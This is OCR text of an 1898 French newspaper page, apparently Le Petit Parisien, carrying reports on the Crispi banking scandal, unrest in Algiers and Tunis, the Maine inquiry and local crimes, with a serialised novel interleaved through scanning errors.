l'Intérieur, yse mariait solennellement le 26 janvier 1878, '«dors qu'il était marié depuis Seulement, comme cette union n'avait eu lieu qu'à l'église, M. Crispi put faire déclarer par fes tribunaux qu'il n'était pas bigame, ce qui n'empêche pas que son pre.mier mariage S'était fait dans des conditions qui le rendaienl absolument valable, à l'époque où il avait été contracté. Celle fois-ci, il s'agissait d'argent, que le 'Ministre s'était procuré en puisant dans la caisse d'une Banque. En 1893, la Banque de Naples avait ouvert une succursale il Bologne et y avait placé comme directeur M. Luigi FaviUa,qui était considéré comme un administrateur capable et intègre, quoique très ambitieux çt très hardi. Mais au bout de peu de temps, des soupçons s'élevèrent contre sa gestion. On fit faire d'abord des vérifications partielles; puis bientôt après un examen complet de la comptabilité et on arriva à la conviction qu'il existait un déficit de plus de 2 millions, en même temps qu'on acquérait la certitude ue, sur cette somme, francs avaient ^disparu au profit de M. Favilla ou de ses anus. Ce dernier fut arrêté au mois de novem'Jbre et, depuis cette époque, on pour'suit à Bologne l'instruction d'un procèsqui n'est pas encore jugé à l'heure présente, tnais qui ue saurait tarder à l'être. a" 38. Feuilleton du PETIT Parisien. LES DRAMES DE LA Vis GRAND ROMAN INÉDIT DEUXIÈME PARTIE LA FAMILLE BARRUETT XV (suite) Démarche inutile Ah je savais que vous étiez un miséraMe, mais je ne vous croyais pas aussi vit que vous vous êtes un gredin, monsieur de Migrant', plus ignoble qu'un malfaiteur de la pire espèce. Hais tout n est pas fini entre nous; si vous ne me rendez pas immédiatement ma lettre et es reproductions, je vous prév iens de ce qui urriveraaujourd'hui même a votre cercle, devant vos amis, ou dans un café ou tout autre lieu public, je vous souffletterai et vous cracherai au visage, afin de rondre un duel inévitable; vous serez l'insulté, vous aurez lo choix des armes et, je vous en préTieus, ce sera un duel à mort; vous prendtez ma ve ou j'aurxi la vôtre. L'ex-policier s'était mis à trembler de tous ses membres il était bien. comme le savait d'ailleurs Jacques de Valmont, un couard de la plus belle eau. Il trouva cependant la force de répondre Vous ne ferez pas ce que tous dites, vous ttKducuoa et reproduchon interdites. Favilla est accusé, avec la complicité de quinze employés également prévenus, d'avoir détourné les fonds de la Banque de Naples. Deux autres personnes auront à répondre, devant la Justice, d'avoir soustrait des documents relatifs à ces faits, afin d'en détruire !a preuve. L'affaire allait venir devant la Cour d'assises, lorsqu'au mois de mai dernier M. Crispi fitnaitre un incidentpour éviter d'être compris parmi les imputés, ainsi que voulait le faire l'autorité judiciaire. Se basant sur sa qualité de Ministre à l'époque où les faits s'étaient passés, il soutint que la Justice ordinaire était incompétente vis-à-vis de lui, soit pour soulever une accusation, soit même pour procéder à une instruction. Le 17 juin, le juge d'instruction rendit une ordonnance déclarant qu'il n'avait pas qualité, sans l'autorisation préalable de la Chambre, pour délibérer sur l'exception invoquée par M. Crispi. Celui-ci se pourvut aussitôt en cassation. L'arrêt de la Cour de cassation exprima l'avis que la Chambre seule pouvait décider si M. Crispi devait être traduit devant la Haute-Cour de justice, pour actes perpétrés en sa qualité de Ministre. C'est dans ces conditions que le président de la Chambre nomma une Commission d'enquête, dite des Cinq, qui s'est livrée pendant plusieurs mois à de sérieuses inSi la justice était égale pour tous, si les lois n'étaient pas trop souvent, comme on l'a dit, des toiles d'araignée qui laissent passer les grosses mouches et n'arrêtent que les petites, M. Crispi aurait été poursuivi judiciairement. Tout, jusqu'à présent, s'est borné à un vote de censure, malgré la gravité des divulgations. Il résulte nettement, en effet, que M. Crispi a pris 617,000 francs apppartenant il la Banque de Naples, par six emprunts successifs, si tant est que l'on puisse appeler emprunt une opération de ce genre. Devant le-juge d'instruction, M. Crispi protesta vivement, se dit victime des passions politiques, affirma que ces sommes avaient été requises pour des services publics, sauf pour une première opération de 210,000 francs, qu'il prétendit avoir remboursés intégralement, intérêt et capital. Il ajouta, d'ailleurs, avoir ignoré toujours que cet argent avait été procuré par des moyens indélicats; mais la Commission parlementaire est restée fort incrédule à ce sujet, et elle est persuadée que M. Crispi avait su parfaitement les moyens mis en œuvre pour accomplir ces opérations illicites et les soustraire au contrôle de la direction générale de la Banque de Naples. Or, le procédé usité avait été de recourir à des signataires de complaisance, d'une solvabilité plus que douteuse, grâce à la connivence ou plutôt au concours principal de M. Favilla, directeur de la succursale de Bologne, « officier public abusant de ses fonctions », dit le rapport. Quant à l'emploi des fonds pour des dépenses secrètes d'Etat, M. Crispi a bien affirmé son droit; mais où a-t-il pris qu'un Ministre était libre de se procurer de l'argent en puisant dans une caisse particulière ? C'est là une théorie insoutenable, même si on veut bien croire à la réalité de ces dépenses mystérieuses, sans contrôle. Quant au remboursement de 210,000 fr. que la Commission n'a pas admis avoir été aussi intégral que le dit M. Crispi, où a-t-il trouvé les ressources nécessaires? Ici, l'enquête est devenue très confuse. La Commission a entendu un certain M. Perrone, ami personnel de l'ex-Ministre, qui a fait, parait-il, une grande fortune industrielle en Amérique. Puis M. Adriano Lemmi, grand-maître de la maçonnerie, concessionnaire, pendant de longues années, de l'entreprise des tabacs. M. Crispi avait cité aussi, comme lui étant venu en aide, un ancien député, M. Cavallini, qui n'a pa être interrogé qu'une seule fois, car il a disparu, ayant pris la fuite sous le coup de poursuites pour banqueroute frauduleuse. M. Adriano Lemmi semble avoir fourni 115,000 francs; mais on conviendra que tout cela a l'aspect fort louche; et on conçoit que M. Crispi demeure profondément atteint. Là surtout où la conduite de l'ancien président. du Conseil apparait impossible à Ue Migrane, vous avez un moyen d arfêter ma main rendez-moi ma lettre. Non, jamais! Eh bien, sur mon honneur, je jure de vous forcer à vous battre. Je ne me battrai pas Je sais que vous êtes de première force l'épée comme au pistolet et que vous me tueriez. Si vous m'insultez publiquement, c'est moi qui ferai ce que vous n'avez garde de faire: je porterai plainte au Parquet et vous irez en police correctionnette. Ce sera comme il vous plaira mais votre menace, qui est bien celle d'un homme comme vous, ne me retiendra pas. La chose pourra avoir des conséquences déplorables; toutefois mon honneur restera intact quant à vous, qui n'avez pas à perdre l'honneur, que vous n'avez plus, vous savez ce qui vous attend. D'un dernier regard de mépris le comte écrasa le misérable et s'en alla. Il se rendit au restaurant du cercle dont l'ex-policier était membre et où, depuis des année*, celui-ci avait l'habitude de déjeuner. Le cuuitt1 prit placflàune table. se fit servir 'et. on ir.vtïgi'aut lentement, attendit. Il avait encore l'espoir que de Migrane, ayant réfléchi, lui apporterait les papiers qu'il avait de si impérieuses raisons de retirer des mains du maître chanteur. Il attendit jusque vers trois heures. L'exPolicier ne vint pas; ses amis étaient étonnés de ne pas le voir, car, la veille, en les quittant. il leur avait promis de se retrouver avec .demain avant midi. Ja< Valmont sortit du cercle et passa le reste de la journée à la recherche du gredin, allant daue tes cafés et autres endroits excuser, c'est lorsqu'il a usé de son pouvoir pour arrêter l'action de la Justice. Le 1" septembre 1885. en effet, la succursale de Bologne recevait la visite d'un, inspecteur, chargé d'examiner le portefeuille. A peine s'était-il mis à l'œuvre qu'une dépêche chiffrée de -Ni. Simeoni, directeur général de la Banque de Naples, lui ordonnait de cesser et d aller inspecter la succursale de Foggia. Or, voici ce qui s'était passé M. Stmooni avait été appelé Rome par M. Crispi et invité à faire suspendre toute inspection à Bologne. Après un simulacre de résistance il avait été intimidé et il avait cédé. La Commission a jugé ce fait en ces termes « Cette intervention de M. Crispi dans les actes réguliers d'un grand établissement financier, dans lequel tout lui conseillait de ne pas intervenir, constitue la page la plus déplorable de l'histoire recueillie et racontée dans ces documents. D'autant plus que M. Crispi avait trouvé le moment opportun pour distribuer des décorations à M. Favilla et à d'autres employés supérieurs de la succursale de Bologne. Avec moins que cela évidemment il y aurait lieu à un procès judiciaire, et la Chambre italienne a fait preuve d'une mansuétude extrême en se bornant à un vote de censure. On assure que le Roi lui-même s'est employé de toutes ses forces pour obtenir ce résultat. Humbert I" redoutait de voir au banc des accusés un homme qui été son premier Ministre, qu'il a considéré comme la cheville ouvrière de la politique italienne dans la Triple-Alliance, et. qui est chevalier de l'Annonoiade. Reste à savoir si cette protection du monarque pourra préserver toujours M. Crispi. Il vient de donner sa démission de député avec fracas, mais il compte solliciter de nouveau le mandat de ses électeurs, et cela peut amener des troubles en Sicile. En outre, le procès Favilla se fera; et si M. Crispi n'est pas en cause, il sera témoin sans doute; les incidents d'audience peuvent amener de l'imprévu. En tous cas, ce sont là les dernières convulsions de l'agonie politique de M. Crispi. Tout est dit pour lui et il est livré à l'histoire, qui sera sévère dans son arrêt. JEAN FROLLO CONSEIL DES MINISTRES Les Ministres se sont réunis hier matin à l'Elysée, sous la présidence de M. Félix Kaurc. Le Conseil s'est occupé des interpellations sur la politique extérieure inscrites à l'ordre du jour de la Chambre. Le Conseil a également arrêté ses résolutions sur diverses autres questions d'ordre parlementaire, et notamment sur la loi relative aux eaudidatures muitiples, dont le Ministre de rinié-> rieur combattra l'abrogation. Les Ministres de l'ïntérieur et de la Justice ont rendu compte des incidents qui se sont produits en Algérie. Le Ministre des Colonies a communiqué au Conseil un télégramme du gouverneur générat de l'Afrique occidentale l'informant que la garnison de Kong, commandée par le lieutenant d'artillerie Demars-Méchet, a été assiégée pendant quinze jours par plus de deux mine sofas de SamoryEtle leur a opposé, quoique les ouvrages de défense aient du être improvisés, une résistance héroïque, sans subir de pertes sensibles trois indigènes ont été tués, onze blessés. Elle a été délivrée le 27 février par la colonne du commandant Caudrelier qui, après plusieurs engagements victorieux où il n'a pas perdu un seul homme, a réussi à dégager Kong et ses environs. fflFORMATIONSJOUTIQOES Mort d'un Député M. Hippotvte Franc, député républicain de la 1" circonscription de Charolles (Saône-et-Loire), est mort hier matin en son domicile, 5,rue Clement-Marot, il Paris, Né à Lyon en 1825, M. Franc fut élu pour ta première fois député en 1890, lors d'une élection partielle, en remplacement de M. Boutnier de Rochefort, décédé, En il fut rëélu, au premier tour, par 8,531 voix contre à M. Noël, révisionniste. Ses obsèques auront lieu lundi à midi, à Paris, en l'égtise Saint-Pierre de Chai Ilot Mouvement judiciaire M. Milliard, garde des Sceaux, a fait signer hier, au Conseil ctes Ministres, le mouvement judiciaire suivant. Sont nommés Président de chambre à la Cour d'appel de îtiom, M. Proal, juge au Tribuual de la Seine, en remplacement de M. Caron, qui a été nommé procureur générai. Juge à la Seine, M. Arbclet. ancien avocat au Gon,eil d'Etat et a la Cour de cassation. Substitut à Porcaiquier, M. Ternier, substitut nommé à Prades. Substitut à Prades, NI. Mairie, substitut a Forcalquier. Juge suppléant à OhtHeaudun, M. Briot, avo publics où il pouvait avoir chance de le rencontrer. Recherches inutiles on n'avait vu j de Migrane nulle part. Le lendemain, Jacques était au cercle à dix heures il y resta jusqu'à trois, comme la veille. Après avoir vainement attendu, il se mit de nouveau à chercher son homme un peu partout il était introuvable. Qu'est-ce que cela signifiie ? se demanda le comte. Peut-être est-il malade, un effet de la peur. La nuit allait venir. Jacques se rendit rue de Rennes. La concierge le reconnut et, avant qu'il lui adressât une première question, elle lui dit Est-ce que vous venez voir M. de Migrane î Von, madame, je viens seulement pour avoir de ses nouvelles. Mais M. de Migrane n'est pas à Paris. Ah! Il ne vous a pas dit hier qu'il allait partir en voyage ? Il ne m'a même pas fait soupçonner qu'il dût s'absenter. Ça, c'est drôle du reste, il ne m'avait pas dit non plus qu'il eut à faire un nouveau voyage. Pourtant, quoiqu'il ne parle jamais de ses affaires, et je crois qu'il en a beaucoup, des affaires, il y a des jours où il cause asse?. gentiment avec moi car il faut vous dire, monsieur, que c'est moi, la veuve Taupier, qui prends soin de son ménage de garçon. Hier, après que vous l'avez eu quitté, je suis montée chez lui, pensant qu'il allait sortir. Eh bien, pas du tout je l'ai trouvé en train de remplir sa grosse malle et sa valise de voyage. « Tiens; que je lui dis comme ça, toute surprise, vous allez donc encore voyager? eai, en remplacement de M. Bouvat, démissionJuge suppléant à Bar-sur-Aube, M. Benville, avocat, en remplacement de M. Lépine, qui a étéartosBié juge. A ALGER ET A TUNIS (De torretpondanls particulier*) Alger, 26 mars. M. Samary. député d'Aider, vient d'adresser à M. Brisson et au Garde des Sceaux une dépêche les informant de son intention d'interpeller sur l'arrestation de M. Max Régis et sur ta fausse interprétation de la loi du 12 décembre 1893. At. Samary s'embarquera aujourd'hui. Dans t après-midi, des groupes ont parcouru la ville eu chantant et en criant A bas les juifs » La foule stationnait sur la place Bresson que les chasseurs et les gendarmes à cheval ont fait évacuer. Les manifestants, dispersés un instant, se reformaient plus loin. Quelques collisions sans intportance se sont produites. Tous les magasins juifs étaient fermés. La soirée a été calme. Les troupes occupaient les principales artères. Quelques arrestations ont été opérées. Un meeting aura lieu ce soir dans te quartier de Bab-el-Oued. Daux compagnies du tirailleurs, mandées par télégraphe, arriveront aujourd'hui de Blidaù. Tunis, S6 mars. Ce matin, à onze heures et demie, rue Hafsi. dans le quartier juif. un Arabe a frappé un juif avec un poignard. La blessure est grave. Le meurtrier esaaya de fuir, mais il fut arrêté quelques moments après. Ver» une heure et demie, rue Achour, dans le mémo quartier, des coups de pierres ont été échangés entre des Arabes qui se trouvaient dans la rue et dea juifs campés sur les terrasses. Il y a eu plusieurs blessés des deux côtés, mais peu gravement. Ljps autorités ont pria des mesures rapides. Quelques arrestations ont été opérées et 1 ordre vite rétabli. LES ÉT4TStNISJÎ L ESPAGNE La situation semble s'aggraver entre les deux pays. Le gouvernement américain est en possession du rapport sur l'explosion du Vaine, et les conclusions de ce document ont donné lieu il une délibération du Conseil des Ministres qui n'a pas duré moins de cinq heures et demie, L'Espagn* a reçu, de son côté, des détails sur l'enquête faite par lss autorités de Cuba à propos de la catastrophe du cuirassé américain. Comme on pouvait s'y attendre, les conclusions des deux enquêtes sont absolument contradictoires. Les préparatifs de guerre continuent avec une activité fébrile aux Etats-Unis et, malgré la bonne volonté apparente des deux gouveruements, il est à craindre que le sentiment national ne précipite la crise que M, Mac-Kinlcy s'efforce d éviter. Washington, mars. Le rapport sur l'explosion du VaiM est arrivé. 11 a été remis ce matin, à neuf heures quarante, au président Mac-Kintey et lu aujourd'hui au Conseil de Cabinet. r La Commission d'enquête conclut une explosion extérieure, mais ne détermine pas les responsabilités. Le rapport démontre l'existence d'une mine sous-manne puissante et que l'on croit avoir été flottante. Il y aurait eu deux explosions, dont la première, extérieure, aurait fait sauter un des magasins de moindre importance. Le rapport a été téléhraphié au général Woodford, à Madrid, pour être soumis au gouvernement espagnol. New-York, 26 mars. On assure dans les cercles politiques que le gouvernement va, s'il ne l'a pas déjà fait, informer l'Espagne que la situation de Cuba est devenue intolérable et insister pour la cessation des hostilités. A MADAGASCAR Marseille, 26 mars, Les journaux de Madagascar arrivés ce matin par le Peïllo apportent les nouvelles suivantes Le capitaine FlayellCj commandant les troupes de la province de Tullear, a fait parvenir au gouverueur générale les renseignements suivants sur les marches et reconnaissances qui ont été exéeutées récemment par les troupes placées sous ses ordres Le SI décembre, le capitaine Flayelle s'est mis en route par eau avec un détachement de légionnaires, destiné d'une part à renforcer le porft* d'Ankolofotsy situé sur la rive droite de l'Onilahy. d'autre part à fournir l'escorte d'un convoi de ravitaillement. Le d(combre, ce convoi, constitué arec pirogues réquisitionnées a Saint-Augustin, ruemontait l'Onilahy jusqu'à Ilundza, résidence du roi Tmilivo. Le 23 décembre, il atteignait Ankolofolsy. Ce poste est actuellement solidement organisé, mais les dernières crues du fleuve avant monstre qu'il n'est pas complètement à l'abri des inondations, un poste annexe a été établi un peu plus au nord et il une altitude supérieure. Du 22 au 24 décembre, une reconnaissance a été effectuée par le lieutenant Marceau, avec un détachement de tirailleurs malgaches, sur la rive droite de la basse Fierenana, où circulent encore quelques pillards, voleurs de bœufs pour la plupart. Jusqu'au poste de Vorondreo, la reeonnaissance 3. trouvé le pays absolument tranquille; mais il n'en est pas de même à partir de ce poste, au delà duquel les indigènes subissent encore l'influence de Tompomanama, qui a établi un campument dans les environs d'Andemba. En prévision d'une vigoureuse offensive qui » Oui qu'il me répondit brusquement. Il avait un air ennuyé, contrarié, et même inquiet que ce n'est rien de le dire; j'en étais moi-même toute je ne sais comment. M. de ltigrane n'est pas un méchant garçon, allez, et c'est un bon locataire. Mais quel drôle d'homme )1 Vous avez quelque chose, vous n'êtes pas content, que je lui dis comme ça, qu'est-ce que vous avez ? Ça, mère Taupier, ce n'est pas votre affaire. » Et il me reoarda avec des yeux, mais des yeux que je ne lui avais jamais vus. Ma foi, j'allais'm'eu sauver quand il me dit Je ne sortirai pas de la journée et si l'on vient me demander, n'importe qui, vous répondrez que je n'y suis pas. Je déjeunerai et dînerai ici, et ce soir, à dix heures, je me mettrai en route. «Est-ce que vous partez pour longtemps? l'our six mois, peut-être un an. » Mais où donc voulez-vous aller ï » En Océanie. ̃ Ah alors c'est loin l'OcéaTîie ? <>ui, très loin. Je suis allée au restaurant commander son déjeuner qu'on lui a apporté il en a été de même le soir, i sept heures puis à dix heures, comme il l'avait dit. ses Msraores ont été chargés sur un fiacre et il est parti. Ah depuis dix-huit mois, en a-t-il fait de ces voyages Enfin, que voulez-vous, monsieur, il faut bien croire que ça l'amuse. Le comte éprouvait une déception à laquelle il ne s'était pas attendu. Il remercia la concierge et sortit de la Dans la rue, en arpentant le trottoir, il murmura, les poings fermas Il m'échappe, le bandit! sera prise prochainement contre ce chef rebelle, le poste de Vorondreo a été renfort, le 7 janvier, par un détachement de quinze tirailleurs malgaches. En outre, le capitaine Gznin a reçu entre de se rendre le 8 janvier, avec quaranU1.cinq tirailleur*, à Voroodreo qui doit être occupé également par le eapiUuH' Fl&yellc, le lieutenant Rose et trente légionnaires. On annonce la mort, ï TomoUmo, entre Fia-. nar&nttMMt et Port-Dauphin, de M. te capitaine Lacarriére. La situation de la colonie est bonne et en progrès constant. Le f.uaaux chef rebelle Rabotaka, resté jusqtôt#e jour insaisissable dans lea,|orêts du Nord, a dû faire sa soumission devint le» poursuites incessantes de nos détachement. La soumission de ce chef rebelle a en le plus grand retentissement dans toute l'Emyrne. I1 a rendu de nombreuses armes et plusieurs canons. Malgré ses crimes, le général Oalliéni a cru devoir lui faire grâce de la vie et l'a simplement exilé a la Réunion. La crainte de la disette est complètement écartée sur le plateau central et les indigènes auront une magnifique récolte dans le eourant du mois prochain. Les impôts rentrent aisément La situation sanitaire est assez médiocre, en raison des grandes pluies et des installations toujours défectueuses de nos troupes et de nos fonctionnaires. La Catastrophe du Chesnay (De notre correspondant particulier) La catastrophe qui s'est produite au Chesnay, où une maison s est écroulée, tuant deux ouvriers et en blessant neuf autres, a provoqué Versailles une profonde émotion. De nombreux curieux se sont rendus aujourd'hui rue Laurent-Gaudet pour se rendre compte de l'importance de l'accident. On commentait diversement les causes qui l'ont produit. L'état de trois des blessés s'améliore: malheureusement, l'état du quatrième, Henri Leeubain, est considéré comme désespéré par les médecins. Les obsèques de Constant Létang et de Jean Barnet auront lieu demain dimanche Il une heure de l'après-midi. Le convoi partira de l'hospice de Versailles et se rendra a Ville-d'Avray où aura lieu l'inhumation. Mme Barnet est venue hier matin reconnattre son mari; Mme Destnèves s'est rendue également a l'hôpital pour reconnaître son frère Constant Létang. La visite des deux femmes adonné lieu à des scènes émouvantes. Les blessés Léonard Traconne, né à Razèe (Haute-Vienne), et Constant Lestang, lié & Felletin (Creuse sont retenus en traitement à l'h0pi tal. Une surveillance très active est toujours exarcée autour de la maison écroulée. L'ASSASSINAT DE MEAUX L'émotion provoquée parmi les habitants de Meaux par 1 assassinat de la veuve Teyssèdre est loin d'être calmée. De nombreux témoignages ont été recueillis dans la journée d'hier par lo Parquet, qui avait fait opérer la veille les plus actives recherche dans les hôtels et les garnis de la ville sans retrouver les traces des assassins. Les renseignements fournils au juge d'instruction s'accordent sur quelques points essentiels concernant l'entrée, dans la maison de la veuve Teyssèdre, d'individus aux allures suspectes. On avait d'abord soupçonné un garçon de ferme, Suisse d'origine, que l'on croyait avoir vu, vers trois heures, aux environs de la maison du crim Cet individu, arrêté et interrogé, a dû être remis en liberté. Il a pu donner, en effet, l'emploi de son temps pendant l'après-midi de jeudi dernier La déposition la plus importante est celle d'un horloger de Maaux, M, Auger, dont l'établissement est situé rue du Marché, et qui a pris, dans l'après-midi de jeudi, & 4 heures 39, te train pour Paris. M. Auger a fait le voyage dans un compartiment de troisième cl-se où avaient pris place deux individus venant également de Meaux. L'un des deux hommes, paraissant âgé de dixhuit à vingt ans, avait des taches de sang sur son chapeau et sur ees mains. Il se montrait loquace, parlait haut, racontant une prétendue Ah! ,e lui ai tait son affaire à cet Italien, disait-il. Il se croyait le plus fort, mais il a trouvé à qui parier. Et maintenant, si je reviens a Meaux, il se gardera bien de me chercher querelle. C'est égal, je suis dans un bel état. En arrivant à Paris, j'irai faire un bout de toilette chez ma petite femme, aux environs de la rue Lafayette. L'autre voyageur, âgé d'environ vingt-six &ns, répondait par monosyllabes, se montrant un peu gêné par le bavardage de son compagnon. Le premier était de haute taille, 1 mètre 75 environ, figure ronde, imberbe vêtu d'un veston de drap bleu, d'un pantalon de coutil grid sale, d'un chapeau tyrolien et chaussé de bottines à boutons. Le plus âge des deux hommes était plus trapu et plus petite. Sa taille ne dépassait pas i m. 60. Il avait des moustaches châtain clair et était vêtu d'un veston et d'un pantalon en mauvais état. Comme son compagnon, il portait des bottines à boutons et un chapeau noir. Le témoignage de M. Auger a été eonilrmé par celui de plusieurs employés de la gare, qui ont également remarqué les allures des deux D'autre part, plusieurs habitants de la rue de la Cordonnerie ont constaté la présence, h trois heures de l'après-midi, ch«e la veuve Teyssèdre, de deux individus répondant au signalement donné plus haut. M. Baverey, commissaire de police, a d'ailleurs acquis la certitude qu'aucune rixe n'a eu lieu à Meaux dans la journée de jeudi. XVI La belle repentie Le comte de Valmont en était toujours à se demander comment sa lettre avait pu tomber entre les mains de l'ex-policier, et il tenait à le savoir. Il était convaincu, d'après ce que lui avait dit Mme Barruett, que, seule, la baronne de Gassie et non une autre personne, avait pu s'emparer de cette lettre, qui pouvait causer d'irréparables malheurs; mais il ne voulait pas admettre que la baronne refit remise à de Migrane et se fût faite sa complice il savait, d'ailleurs, qu'il y avait eu rupture complète entre la jeune veuve et son ancien associé. Mais c'était toujours la même interrogation Comment la lettre était-elle entre les mains du misérable Il ne pouvait le savoir que par Mme de Gassée. Malgré la répugnance qu il avait à se pré.tenter chet elle, il n'hésita pas, cependant, à se rendre à Meudon. Il était trois heur(,5 de l'après-midi, un magnifique soleil i:'lumière le coteau aux délicieux au milieu desquels, entourées de jardins fleuris, se cachent les blanches villas dans des fouillis de verdure. Comme toutes les autres, la petite maison de la baronne avait son jardin d'environ mille mètres carrés, clos de murs, et, sur le devant, une petite cour dans laquelle on entrait par une porte à chire-voie. Le comte sonna à cette porte. Au bout d'un hifilatit, une servante, d'un certain âge, vint lui ouvrir. Je viens faire une visite à Mme la baronne de Cassie, dit le comte. Bien, monsieur; madame connaît uionKiciu Il partit donc certain que les assassins de lr. »euve Teyssedre sont bien les deux *̃̃*̃>̃?# q«i, à heures 39, faisaient route po, Le Parquet de Moaiix a iransnv >' gramme ces mi>i -i-n. i dé Paris, et des* ref h -s 4*o« cette ville par le servie ,le z.v^. BAGARRE CES PI JUGE DTOBCnffl Le cabinet de M. Lemcrcier, le juge qui stop cupa en ce moment de l'instruction de la bamK. de Neuilly, a été hier après-midi le théâtre d'ira» Narre entre deux inculpés, Michaud et KoHt. Miohaud avait accusé son complice d'Aire I auteur d'une attaque nocturne. Lorsque Koch entendit la déposition de Michaud, il linterpellft violemment et opposa à ses allégations un démenti formel. L autre maintint son dire, Koek répliqua, pulx toul à coup il s'élança sur Michaud et Ce frappa à la figure avant qu'un des quatre gardaa présente ait eu le temps d'iotervenir. A ce moment, M. Lemereier se leva et saisit Kock par derrière en lui maintenant les deut bras. Le municipal qui se trouvait auprès de l'inculpé lui passa le cabriolet et le serra du telle force qu'il lui fit ̃̃ M-"wure au poignet. Le juge fit au: rk dans la pièce atla» nante & son cabr iragca se aimer. Soit, dit alors l'inculpé mais que la garde ne descendre pas avec moi jusqu ia souricière parce que l'un de nous passera dans la nage do l'escalier. St en effet, ce fut le garde qui avait amené Micliaud qui reoonduit<it Kot'4. Avant de quitter le cabinet du juge, il se tourna, vers M. Lemercier et lui dit -Si vous n'aviez pas été là, monsieur le juge. je vous jure que Michaud aurait passé un vilain moment. Quant au garde, je me serais aussi ddb&rr&sstt de lui avec l'aida de mes camarades c'eût été drôle En drill, ainsi que r. • • '̃̃ "ons plus haut, tl: y avait là quatre mu :rais les inculpes étaient au nombre de Du reate, a ajouté Kock., il faudra, aux assises, qu'on fasse bien attenGoa à moi. car j« me vengerai, et je ferai payer cher -̃̃'̃̃ înciateurs les intamies dont ils m'ou! m» besoin, je leur ferai leur affaire en m ne s'ennuiera pas», je vous le promets. Si le malfaiteur lient sa parole, ce jour-14 l'audience sera mouvementée. Terrible Accident de Mine Un affreux accident s'est produit ce matin aa charbonnage du Hazard, ir Mirheroux, prî-s de Liège. au moment où le surveillant liait le. feu une mine au moyen du: r électrique. Les ouvriers n'étaient |>.i.~ suffisante du trou de mine. La fore sion mit k nu une poche gris>outeu^< plosion épouvantable se produisit. j Les cinq hommes furent tous atteints et lan. ces à une grande distance, après avoir été brûlés h la poitrine et au visage. 1 Le surveillant Gillet et le mineur Oiet sont dans un état désespéré. Le mineur Laxzeri est gravement atteint. Quant aux deux autres, ou ne peut encore se prononcer mur leur sort. L administration des mines a ordonné une enquête pour déterminer les ctuwes dt; la calas*, trophe, qui cause une profonde émotion dans la région. CHAMBRE DES DÉPOTÉS Séance du samedi mars 1898 La séance est ouverte à deux heures vingt, sous lu présidence de M. BHsson. M. le Présidant annonce à la Chambre la mort de M. Franc, député de Saône-et-Loire, et se fait l'interprète des regrets de ses collègues. M. Chassaing dépose deux demandes d'interpellation la première, à M. le Ministre du Commerce, sur la composition des Comité» d'admission à l'Exposition universelle la deuxième, à M. le Ministre de l'Intérieur, sur les motifs qui l'ont déterminé à proroger la délai accordé aux fabricants de conserves alimentaires pour l'écoulement des boites fabriquées reconnues nuisibles à la sauté publique. Ces deux interpellations sont inscrites à la suite des interpellations figurant déjà à l'ordre du jour. La Chambre adopte ensuite, il l'unanimité de WXi votants, le projet de loi adopté avec modification par le Sénat, concernant les responsabilités des accidents dont les ouvriers sont victimes dans leur travail. La Chamhro, ayant purement et simplement adopté le texte du Sénat, la loi sur les accidents est définitivement adoptée. L'ordre du jour appelle la discussion le de l'interpellation de M. Pasahal Grousset sur les préparatifs de mobilisation de l'escadre du Nord et sur la politique extérieure; 2° de l'interpellation de M. Gabriel Baron sur la politique extérieure du gouvernement. L'INTERPELLATION DE M. PASCHAL GROUSSET M. Paschal Cr-ousset a la parle L'orateur critique l'essai de iooliilii».'iti(>nde l'escadre du Nord ou'il assure H at par le gouvernement dans un bu il, pour faire croire que nous avons uuc inariue à la hauteur de sa mission. Il n'insiste pas, d'ailleurs, puisque le Ministre de la Marine a déclare qu'il ne s'agis Oui1 Le comte remit sa carte la seivante. Celle-ci reprit Mme la baronne est dans le jardin avec des personnes qui sont venues la voir, mais qui vont la quitter. Monsieur peut entrer dans la maison et attendre un instant je vais prévenir Mme la baronne. Je vais attendre ici, répondit le jeune homme. Et il s'assit sur un banc rustique, à l'ombre d'un marronnier. La servante s'éloigna et rejaignit sa mat.tresse qui se trouvait an fond du jardin avec, ses visiteurs; sans prononcer une parole, elle remit la carte. La baronne eut à peine lu le nom de Jac~que» de Valmout qu'elle <V-«Hv' très rouge; mais presque aussitôt ̃>. se fit, le rouge ptleur. La barrntne eut même ne «ment de déf i'H.ut'p, car ellc chanc m prise de v( ̃̃̃̃ l .»us? lui demanda, inquiet, 1« monsieur a qui elle donnait le bras. Ce n'est rien, répondit-elle, en s'< fîorçant de sourire et déjà remise de son émotion, une visite tout il fait inattendue. js contrarie? m contraire. :«v. i vu» laissons, chère madame. Ne vous revemi-je pas avant votre d& part? Je n ose vous le promettre, nous allons avoir luit faire? Dans tous les cas, Lydte vous '•« pas, nia mignonne ,'ujours un grand plaisir pour moi. (A tuwrt.) E«LB RlCHEBOCM, sait que de savoir si les rades de Cherbourg j et de Brest avaient le nombre de chaloupés 1. pour transporter les hommes et il bord des navires. ̃>i..«.:uf passe à la politique extérieure. Il reproche au Cabinet de manquer de principes. su %;̃ .r. nuus n'avons p;t falre la lumière F' seiiiciits de la Compagnie royale dv ̃ Eu Ciiiii*Jt où les grandes nations se taillent des parts de lion, noua ne savons pas ce que la Frauce va faire. U est vrai que le correspondant du Tunes a eu une interview avec M. Hauotaux et qu'il nous a transmis les confidenees de notre Ministre. M. Paschal Grousset demande à M. le Ministre des AU'iiiruà étrangères d'être aussi expansit avec la Chambre qu'il l'a été avec M. de biowitz. H. 6IBRIEL BARON M. Gabriel Baron développe ensuite son interpellation. Elle est plus vaste que celle de M. Paschal Grousset, mais elle est malheureusement moins écoutée par la Chambre. Les questions auxquelles -Ni. Hanotaux répondra visent la situation actuelle en Egypte, les affaires de Grèce, les solutions proposées pour la Crète, les incidents entre les autorités françaises et la Compagnie du .Niger eu Afrique, les complications en Chine, les empiétements des puissances européennes dans ce pays, l'abstention de la France et enfin les éventualités menaçantes qui s'annoncent entre l'Espagne etles Etats-Unis à proposde Cuba. Partout, l'orateur si, ira île la politique hésitante, équivoque, antuwtiouaie du gouvernement. L'orateur attend les explications du Ministre des Affaires étrangères. LE MINISTRE DES AFFAIRES ÉTBIHGÈRES M. Hanotaux, ministre des Affaires étrangères, répond sobrement au milieu de l'attention géuérale.et ses explications sont ttouvent accueillies par de nombreux applaudlssenrents. Il s'étonne tout d'abord qu'on lui ait réproché de ne pas faire suffisamment connaître à ta Chambre et au pays la politique du gouvernement. Jamais aucun Cabinet n'a fourni plus d'explications, soit par le Livre Jaune, eoit par les communications des conventions passées avec les gouvernements étrangers, soit par des déclarations à la tribune. Aucune interpellation, aucune questions n'a été laissée sans réponse, quand elle portait sur des faits précis. L'orateur, répondant aux questions posées par MM. l'aschal 